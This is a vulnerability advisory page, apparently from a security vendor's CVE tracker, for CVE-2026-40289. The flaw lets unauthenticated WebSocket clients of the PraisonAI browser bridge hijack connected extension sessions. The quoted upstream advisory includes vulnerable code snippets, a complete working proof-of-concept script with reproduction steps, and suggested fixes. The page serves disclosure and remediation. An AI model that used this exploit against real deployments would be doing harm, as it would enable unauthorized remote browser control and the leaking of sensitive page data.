HOL LogoGuard

Explore HOL

  • HOL home
  • AI agent registry
  • AI plugins
  • Open standards
  • HOL members
  • Sponsor HOL
  • Advertise with HOL

Guard product

  • Guard overviewLocal security and control for AI agents and the tools they use.
  • FeaturesRuntime protection, policy routing, review, and evidence.
  • CIGARPoint your coding agent at the right lines and cut its token bill by about a third.

Explore Guard

  • Product previewWalk through Guard surfaces in read-only demo mode.
  • ComparisonCompare Guard with native controls and AI security vendors.

AI tools

  • All AI toolsEvery supported AI tool and how Guard applies policy to it.
  • Codex
  • Claude Code
  • Cursor
  • Antigravity CLI
  • OpenCode
  • Hermes
  • OpenClaw
  • GitHub Copilot CLI
  • Antigravity
  • Kimi
  • Grok
  • Pi / Oh My Pi
  • Zcode

Extensions

  • All extensionsBrowse command and MCP coverage with owners and stated limits.
  • Command coverageShell command protection across clouds, databases, backups, and packages.
  • MCP server coverageSee how Guard maps risk state across MCP tools and servers.
  • Core safetyThe safety floor listings that ship with Guard.
  • Data and resilienceBackup and storage command protection.
  • Cloud and infrastructureAWS, Azure, GCP, Kubernetes, and more.

Security

  • AI security hubSecurity research, advisories, and agent safety coverage.
  • AI tool securitySecurity profiles for each supported coding agent.
  • Safe labsHands-on attack simulations with safe boundaries.
  • Redacted warningsReal blocked actions with sensitive details removed.
  • AdvisoriesCoordinated disclosure reports for AI tooling.
  • Active CVEsSearch active CVEs affecting AI tooling.

Learn

  • Security guidesPractical guides for securing AI agent workflows.
  • DocsInstall, configure, and operate Guard with confidence.
  • ResearchPublished security research, benchmarks, and methodology.
  • Gauntlet benchmarkGuard tested with real coding agents: safe work runs, risky actions stop.

Community

  • ReleasesVersion history, shipped changes and upgrade notes.
  • ContributorsThe people and contributions behind HOL Guard.
  • AffiliatesShare Guard with your audience and earn from referrals.
  • SponsorFund agreed research, implementation and shared testing through the HOL Partner Program.
  • AdvertiseCompare README logo placements, previews and monthly prices, or promote a plugin or extension.
PricingEnterpriseOpen AppInstall Guard
  1. Guard
  2. Security
  3. CVEs
  4. CVE 2026 40289 praisonai browser server allows unauthenticated
HOL Guard

Public security guidance for teams protecting AI harnesses, MCP servers, skills, prompts, and local tool execution.

Install Guard

AI Security

  • Prompt injection
  • MCP security
  • OWASP MCP mapping
  • Supply chain

Resources

  • Trust packet
  • Harness setup
  • Redacted warnings
  • Safe labs

Product

  • Install Guard
  • Pricing
  • Open dashboard

Get HOL Guard for your computer

HOL Guard is a free desktop app that watches what coding agents such as Claude Code, Codex and Cursor run, read and install, and asks you before anything risky happens.

  • Download for macOS
  • Windows download
  • Linux download

Free. macOS 13+ on Apple silicon, Windows x64, Linux AppImage. Other ways to install

Star HOL Guard on GitHub to download
Runs on
macOS 13 or later on Apple silicon, Windows x64 and Linux x86_64.
Price
Free. Paid plans add Guard Cloud for teams. See pricing
Where your data stays
On your computer. Guard Cloud is optional.
Token savings
58.6% to 61.5% fewer tokens across three coding agents in our CIGAR benchmark.

HOL

HOL builds open infrastructure for AI agents: HOL Guard, a directory of AI plugins and MCP servers, an AI agent registry and the open HCS standards.

  • GitHub (opens in a new tab)
  • X (Twitter) (opens in a new tab)
  • YouTube (opens in a new tab)
  • Telegram (opens in a new tab)

HOL Guard

  • What is HOL Guard
  • Features
  • Cut coding agent token costs (CIGAR)
  • Install Guard
  • Download the desktop app
  • Pricing
  • Guard for teams
  • Compare Guard
  • Release notes

Guard for your AI tool

  • Guard for Claude Code
  • Guard for Codex
  • Guard for Cursor
  • Guard for GitHub Copilot CLI
  • Guard for OpenCode
  • Guard for Pi and Oh My Pi
  • Guard for Hermes
  • Guard for OpenClaw
  • All supported AI tools

Research and security

  • Gauntlet: Guard tested with real agents
  • CIGAR token benchmark
  • Research
  • AI security hub
  • Security advisories
  • Active CVEs in AI tools
  • AI agent security guides
  • Extensions and coverage

Plugins and MCP servers

  • Browse AI plugins
  • New plugin launches
  • Best Claude Plugins
  • Best Codex Plugins
  • Best Grok Plugins
  • Best Kimi Plugins
  • Best DeepSeek Plugins
  • Best Antigravity Plugins
  • Best MCP Servers
  • Best Cursor Plugins
  • Best OpenCode Plugins

AI agent registry

  • Best AI agents
  • Best ERC-8004 agents
  • Best Virtuals agents
  • Best A2A agents
  • Best x402 payable agents
  • Submit an ERC-8004 contract
  • Feature your agent

Developers

  • Guard docs
  • Documentation index
  • Developer hub
  • Registry API reference
  • OpenAPI spec
  • Registry OpenAPI spec
  • Run in Postman (opens in a new tab)
  • HCS standards

Company

  • About HOL
  • Blog
  • Contribute to HOL
  • Guard contributors
  • Sponsor
  • Advertise
  • Affiliate program
  • Contact

Copyright © 2026 HOL DAO LLC. All rights reserved.

  • Privacy
  • Terms of Service
Back to active CVEs
Critical · CVSS 9.1CVE-2026-40289GHSA-8X8F-54WF-VV92

PraisonAI Browser Server allows unauthenticated WebSocket clients to hijack connected extension sessionsCVE-2026-40289

Answer in brief

CVE-2026-40289 records a Critical severity (CVSS 9.1) vulnerability in PraisonAI Browser Server allows unauthenticated WebSocket clients to hijack connected extension sessions. The current sources do not mark it as known exploited. The current feed maps PraisonAI (pip), praisonaiagents (pip). Check affected ranges and fixed versions before updating.

Analysis pending evidence review

HOL Guard separates source facts from reviewed analysis. See the methodology.

Published Apr 10, 2026Updated Nov 16, 2026Source checked Nov 16, 2026First seen by HOL Oct 28, 2026Material review Nov 16, 2026
Upstream Advisory

Key facts

Risk
Critical · CVSS 9.1
Exploitation
Not marked as known exploited
Affected software
4 mapped packages or products
Fix availability
Available

Why this deserves its current priority

CVSS is 9.1. The current sources do not mark it as known exploited. Treat this as a source-backed prioritization signal, not a statement about your environment.

Analysis status

Analysis pending evidence review

Factual feed record only; HOL analysis is not approved for indexing. Read the methodology.

Affected scope and exposure questions

The current feed maps PraisonAI (pip), praisonaiagents (pip). Check affected ranges and fixed versions before updating.

Affected products and reported versions
ProductAffected versionsFixed versions
cpe:2.3:a:praison:praisonai:*:*:*:*:*:*:*:*Not reportedNot reported
cpe:2.3:a:praison:praisonaiagents:*:*:*:*:*:python:*:*Not reportedNot reported
Mapped affected packages and fixed versions
PackageAffected rangeFixed version
PraisonAIpip<=4.5.1384.5.139
praisonaiagentspip<=1.5.1391.5.140

Recommended response

  1. 1Check inventory. Check lockfiles and deployed manifests for PraisonAI, praisonaiagents.
  2. 2Review the reported fix. Update PraisonAI to 4.5.139; praisonaiagents to 1.5.140 if you use the affected versions. Test the change in a non-production environment first.

Evidence timeline and material changes

  1. Published upstream

    Apr 10, 2026

    Evidence: source:ghsa:source_dates:source-dates:record
  2. Source modified

    Nov 16, 2026

    Evidence: source:ghsa:source_dates:source-dates:record
  3. First seen by HOL

    Oct 28, 2026

Sources and claim methodology

  • GitHub security advisorygithub.com
  • GitHub security advisorygithub.com
  • GitHub security advisorygithub.com
  • GitHub security advisorygithub.com
  • GitHub security advisorygithub.com
  • NVD vulnerability recordnvd.nist.gov
  • Source referencepypi.org
  • Source referencepypi.org
Upstream source description

### Summary `praisonai browser start` exposes the browser bridge on `0.0.0.0` by default, and its `/ws` endpoint accepts websocket clients that omit the `Origin` header entirely. An unauthenticated network client can connect as a fake controller, send `start_session`, cause the server to forward `start_automation` to another connected browser-extension websocket, and receive the resulting action/status stream back over that hijacked session. This allows unauthorized remote use of a connected browser automation session without any credentials. ### Details The issue is in the browser bridge trust model. The code assumes that websocket peers are trusted local components, but that assumption is not enforced. Relevant code paths: - Default network exposure: `src/praisonai/praisonai/browser/server.py:38-44` and `src/praisonai/praisonai/browser/cli.py:25-30` - Optional-only origin validation: `src/praisonai/praisonai/browser/server.py:156-173` - Unauthenticated `start_session` routing: `src/praisonai/praisonai/browser/server.py:237-240` and `src/praisonai/praisonai/browser/server.py:289-302` - Cross-connection forwarding to any other idle websocket: `src/praisonai/praisonai/browser/server.py:344-356` - Broadcast of action output back to the initiating unauthenticated client: `src/praisonai/praisonai/browser/server.py:412-423` and `src/praisonai/praisonai/browser/server.py:462-476` The handshake logic only checks origin when an `Origin` header is present: ```python origin = websocket.headers.get("origin") if origin: ... if not is_allowed: await websocket.close(code=1008) return await websocket.accept() ``` This means a non-browser client can omit `Origin` completely and still be accepted. After that, any connected client can send `{"type":"start_session", ...}`. The server then looks for the first other websocket without a session and sends it a `start_automation` message: ```python if client_conn != conn and client_conn.websocket and not client_conn.session_id: await client_conn.websocket.send_text(json_mod.dumps(start_msg)) client_conn.session_id = session_id sent_to_extension = True break ``` When the extension-side connection responds with an observation, the resulting action is broadcast to every websocket with the same `session_id`, including the unauthenticated initiating client: ```python action_response = { "type": "action", "session_id": session_id, **action, } for client_id, client_conn in self._connections.items(): if client_conn.session_id == session_id and client_conn != conn: await client_conn.websocket.send_json(action_response) ``` I verified this on the latest local checkout: `praisonai` version `4.5.134` at commit `365f75040f4e279736160f4b6bdb2bdb7a3968d4`. ### PoC I used `tmp/pocs/poc.sh` to reproduce the issue from a clean local checkout. Run: ```bash cd "/Users/r1zzg0d/Documents/CVE hunting/targets/PraisonAI" ./tmp/pocs/poc.sh ``` Expected vulnerable output: ```text [+] No-Origin client accepted: True [+] Session forwarded to extension: True [+] Action broadcast to attacker: True [+] RESULT: VULNERABLE - unauthenticated client can hijack browser sessions. ``` Step-by-step reproduction: 1. Start the local browser bridge from the checked-out source tree. 2. Connect one websocket as a stand-in extension using a valid `chrome-extension://<32-char-id>` origin. 3. Connect a second websocket with no `Origin` header. 4. Send `start_session` from the unauthenticated websocket. 5. Observe that the server forwards `start_automation` to the extension websocket. 6. Send an `observation` from the extension websocket using the assigned `session_id`. 7. Observe that the resulting `action` and completion `status` are delivered back to the unauthenticated initiating websocket. `tmp/pocs/poc.sh`: ```sh #!/bin/sh set -eu SCRIPT_DIR="$(CDPATH= cd -- "$(dirname -- "$0")" && pwd)" cd "$SCRIPT_DIR/../.." exec uv run --no-project \ --with fastapi \ --with uvicorn \ --with websockets \ python3 "$SCRIPT_DIR/poc.py" ``` `tmp/pocs/poc.py`: ```python #!/usr/bin/env python3 """Verify unauthenticated browser-server session hijack on current source tree. This PoC starts the BrowserServer from the local checkout, connects: 1. A fake extension client using an arbitrary chrome-extension Origin 2. An attacker client with no Origin header It then shows the attacker can start a session that the server forwards to the extension connection, and can receive the resulting action broadcast back over that hijacked session. """ from __future__ import annotations import asyncio import json import os import socket import sys import tempfile from pathlib import Path REPO_ROOT = Path(__file__).resolve().parents[2] SRC_ROOT = REPO_ROOT / "src" / "praisonai" if str(SRC_ROOT) not in sys.path: sys.path.insert(0, str(SRC_ROOT)) def _pick_port() -> int: with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as sock: sock.bind(("127.0.0.1", 0)) return sock.getsockname()[1] class DummyBrowserAgent: """Minimal stub to avoid real LLM/browser dependencies during validation.""" def __init__(self, model: str, max_steps: int, verbose: bool): self.model = model self.max_steps = max_steps self.verbose = verbose async def aprocess_observation(self, message: dict) -> dict: return { "action": "done", "thought": f"processed: {message.get('url', '')}", "done": True, "summary": "dummy action generated", } async def main() -> int: temp_home = tempfile.TemporaryDirectory(prefix="praisonai-browser-poc-") os.environ["HOME"] = temp_home.name from praisonai.browser.server import BrowserServer import praisonai.browser.agent as agent_module import uvicorn import websockets agent_module.BrowserAgent = DummyBrowserAgent port = _pick_port() server = BrowserServer(host="127.0.0.1", port=port, verbose=False) app = server._get_app() config = uvicorn.Config( app, host="127.0.0.1", port=port, log_level="error", access_log=False, ) uvicorn_server = uvicorn.Server(config) server_task = asyncio.create_task(uvicorn_server.serve()) try: for _ in range(50): if uvicorn_server.started: break await asyncio.sleep(0.1) else: raise RuntimeError("Uvicorn server did not start in time") ws_url = f"ws://127.0.0.1:{port}/ws" async with websockets.connect( ws_url, origin="chrome-extension://aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", ) as extension_ws: extension_welcome = json.loads(await extension_ws.recv()) print("[+] Extension welcome:", extension_welcome) async with websockets.connect(ws_url) as attacker_ws: attacker_welcome = json.loads(await attacker_ws.recv()) print("[+] Attacker welcome:", attacker_welcome) await attacker_ws.send( json.dumps( { "type": "start_session", "goal": "Open internal admin page and reveal secrets", "model": "dummy", "max_steps": 1, } ) ) start_response = json.loads(await attacker_ws.recv()) print("[+] Attacker start_session response:", start_response) hijacked_msg = json.loads(await extension_ws.recv()) print("[+] Extension received forwarded message:", hijacked_msg) session_id = hijacked_msg["session_id"] await extension_ws.send( json.dumps( { "type": "observation", "session_id": session_id, "step_number": 1, "url": "https://victim.example/internal", "elements": [{"selector": "#secret"}], } ) ) attacker_action = json.loads(await attacker_ws.recv()) attacker_status = json.loads(await attacker_ws.recv()) print("[+] Attacker received broadcast action:", attacker_action) print("[+] Attacker received completion status:", attacker_status) no_origin_client_connected = attacker_welcome.get("status") == "connected" forwarded_to_extension = hijacked_msg.get("type") == "start_automation" action_broadcasted = ( attacker_action.get("type") == "action" and attacker_action.get("session_id") == session_id ) print("[+] No-Origin client accepted:", no_origin_client_connected) print("[+] Session forwarded to extension:", forwarded_to_extension) print("[+] Action broadcast to attacker:", action_broadcasted) if no_origin_client_connected and forwarded_to_extension and action_broadcasted: print("[+] RESULT: VULNERABLE - unauthenticated client can hijack browser sessions.") return 0 print("[-] RESULT: NOT VULNERABLE") return 1 finally: uvicorn_server.should_exit = True try: await asyncio.wait_for(server_task, timeout=5) except Exception: server_task.cancel() temp_home.cleanup() if __name__ == "__main__": raise SystemExit(asyncio.run(main())) ``` `tmp/pocs/poc.py` starts a temporary local server, stubs the browser agent, opens both websocket roles, and prints the final vulnerability conditions explicitly. PoC Video: https://github.com/user-attachments/assets/df078542-bbdc-4341-b438-89c86365009e ### Impact This is an unauthenticated remote-control vulnerability in the browser automation bridge. Any network client that can reach the exposed bridge can impersonate the controller side of the workflow, hijack an available connected extension session, and receive automation output from that hijacked session. In real deployments, this can allow unauthorized browser actions, misuse of model-backed automation, and leakage of sensitive page context or automation results. Who is impacted: - Operators who run `praisonai browser start` with the default host binding - Users with an active connected browser extension session - Environments where the bridge is reachable from other hosts on the network ### Recommended Fix Suggested remediations: 1. Require explicit authentication for every websocket client connecting to `/ws`. 2. Reject websocket handshakes that omit `Origin`, unless they are using a separate authenticated localhost-only transport. 3. Bind the browser bridge to `127.0.0.1` by default and require explicit operator opt-in for non-loopback exposure. 4. Do not route `start_session` to “the first other idle connection”; instead, pair authenticated controller and extension clients explicitly.

Quoted source text, attributed separately from HOL analysis.

Related CVEs

  • RedAmon before 7.8.0 Unauthenticated Root Shell via Terminal PTY WebSocketAlso CWE-306
  • Prime CMS through 0.4.0-beta.0 Authentication Bypass via createUser GraphQL MutationAlso CWE-306
  • Prime CMS through 0.4.0-beta.0 Missing Authentication via GraphQL MutationsAlso CWE-306

Record context

Vulnerability class
Missing Auth
EPSS
Not reported
CWE IDs
CWE-306
Source
GitHub Security Advisories
Source checked
Nov 16, 2026
References
8 linked sources
Open source record